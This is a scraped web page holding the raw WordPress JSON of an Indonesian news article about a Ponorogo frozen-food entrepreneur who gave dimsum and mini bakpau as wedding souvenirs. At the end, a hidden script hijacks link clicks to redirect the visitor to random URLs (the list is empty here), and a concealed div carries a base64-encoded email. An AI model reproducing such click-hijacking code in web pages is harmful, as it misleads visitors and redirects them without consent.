<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p>{"id":1516231,"date":"2026-06-10T16:22:30","date_gmt":"2026-06-10T09:22:30","guid":{"rendered":"https:\/\/beritajatim.com\/?p=1516231"},"modified":"2026-06-10T16:39:06","modified_gmt":"2026-06-10T09:39:06","slug":"unik-di-ponorogo-tamu-pernikahan-pulang-bawa-dimsum-dan-bakpau-mini-sebagai-souvenir","status":"publish","type":"post","link":"https:\/\/beritajatim.com\/unik-di-ponorogo-tamu-pernikahan-pulang-bawa-dimsum-dan-bakpau-mini-sebagai-souvenir","title":{"rendered":"Unik di Ponorogo, Tamu Pernikahan Pulang Bawa Dimsum dan Bakpau Mini sebagai Souvenir"},"content":{"rendered":"</p><p><strong>Ponorogo (beritajatim.com)&lt;\/strong&gt; \u2013 Souvenir pernikahan identik dengan gantungan kunci, gelas, atau benda kenangan lain yang kerap berakhir tersimpan di lemari. Namun, konsep berbeda justru hadir dalam sebuah resepsi pernikahan di Kecamatan Siman, Ponorogo. Ratusan tamu pulang membawa paket makanan beku (frozen food) yang siap disantap bersama keluarga di rumah.&lt;\/p&gt;\n<p>Ya, kotak souvenir di salah satu tempat resepsi itu isinya bukan barang pajangan, melainkan aneka produk olahan makanan seperti dimsum, dumpling, dan bakpau mini yang dikemas menarik. Konsep tersebut langsung mencuri perhatian para tamu undangan karena dinilai lebih bermanfaat dan memiliki nilai guna yang tinggi.&lt;\/p&gt;\n</p><p>Gagasan itu datang dari Asri Ananda, pengusaha frozen food asal Desa Siman, Kecamatan Siman, Ponorogo. Dalam momen pernikahan putrinya, dirinya memilih membagikan produk usahanya sebagai souvenir. Selain itu, juga sekaligus memperkenalkan hasil olahan lokal kepada masyarakat yang hadir.&lt;\/p&gt;\n</p><p>Sejak menekuni usaha frozen food pada 2013, Asri terus mengembangkan berbagai produk makanan siap saji. Momentum pernikahan keluarga kemudian dimanfaatkannya untuk menghadirkan sesuatu yang berbeda dibanding konsep souvenir pada umumnya.&lt;\/p&gt;\n\n</p><p>&ldquo;Souvenir makanan menurut saya lebih bermanfaat karena bisa langsung dinikmati oleh para tamu. Jadi tidak hanya menjadi pajangan atau disimpan begitu saja,&rdquo; kata Asri Ananda, pengusaha frozen food asal Siman, ditulis Rabu (10\/6\/2026).&lt;\/p&gt;\n</p><p>Pilihan tersebut ternyata mendapat respons positif dari para tamu. Banyak yang mengaku terkesan dengan souvenir frozen food tersebut. Sebab, souvenir yang dibawa pulang memiliki nilai manfaat langsung dan bisa dinikmati bersama anggota keluarga di rumah.&lt;\/p&gt;\n</p><p>Selain mudah disimpan dalam lemari pendingin, isi paket frozen food juga dinilai praktis karena dapat diolah kapan saja sesuai kebutuhan. Hal itu membuat souvenir pernikahan tersebut terasa lebih berkesan dan berbeda dibanding barang kenang-kenangan pada umumnya.&lt;\/p&gt;\n</p><p>&ldquo;Menurut saya unik dan bermanfaat. Biasanya souvenir berupa barang yang kadang jarang dipakai,&rdquo; kata Maya Nika Sari, salah satu tamu undangan.&lt;\/p&gt;\n</p><p>Konsep souvenir berbasis produk makanan tersebut menjadi daya tarik tersendiri dalam resepsi pernikahan. Di tengah tren masyarakat yang semakin mengutamakan nilai manfaat, inovasi seperti ini membuka peluang baru bagi pelaku usaha lokal, yakni untuk memperkenalkan produknya melalui berbagai kegiatan sosial maupun keluarga.&lt;\/p&gt;\n</p><p>Tak hanya meninggalkan kesan bagi para tamu, souvenir frozen food juga menunjukkan bahwa produk usaha rumahan dapat dikemas secara kreatif dan memiliki nilai tambah. Inovasi sederhana itu diharapkan dapat menginspirasi masyarakat yang akan menggelar acara serupa agar menghadirkan souvenir yang lebih fungsional dan berkesan. &ldquo;Kalau frozen food ini bisa langsung dimakan dan dinikmati keluarga di rumah,&rdquo; pungkasnya. <strong>(end\/kun)&lt;\/strong&gt;&lt;\/p&gt;\n","protected":false},"excerpt":{"rendered":"<p>Souvenir pernikahan identik dengan gantungan kunci, gelas, atau benda kenangan lain yang kerap berakhir tersimpan di lemari.&lt;\/p&gt;\n","protected":false},"author":45,"featured_media":1516234,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[41625],"tags":[45948,87,72,434166,434165,638],"gn_keywords":[434170,434173,434172,240076,434168,434174,434171,434167,434150,434169,195107],"class_list":["post-1516231","post","type-post","status-publish","format-standard","has-post-thumbnail","category-ragam","tag-frozen-food","tag-jatim","tag-ponorogo","tag-siman","tag-souvenir-pernikahan","tag-umkm"],"acf":[],"aioseo_notices":[],"distributor_meta":false,"distributor_terms":false,"distributor_media":false,"distributor_original_site_name":"beritajatim.com","distributor_original_site_url":"https:\/\/beritajatim.com","push-errors":false,"_links":{"self":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1516231","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/comments?post=1516231"}],"version-history":[{"count":2,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1516231\/revisions"}],"predecessor-version":[{"id":1516242,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1516231\/revisions\/1516242"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media\/1516234"}],"wp:attachment":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media?parent=1516231"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/categories?post=1516231"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/tags?post=1516231"},{"taxonomy":"gn_keywords","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/gn_keywords?post=1516231"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}</p></strong></p></strong></p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
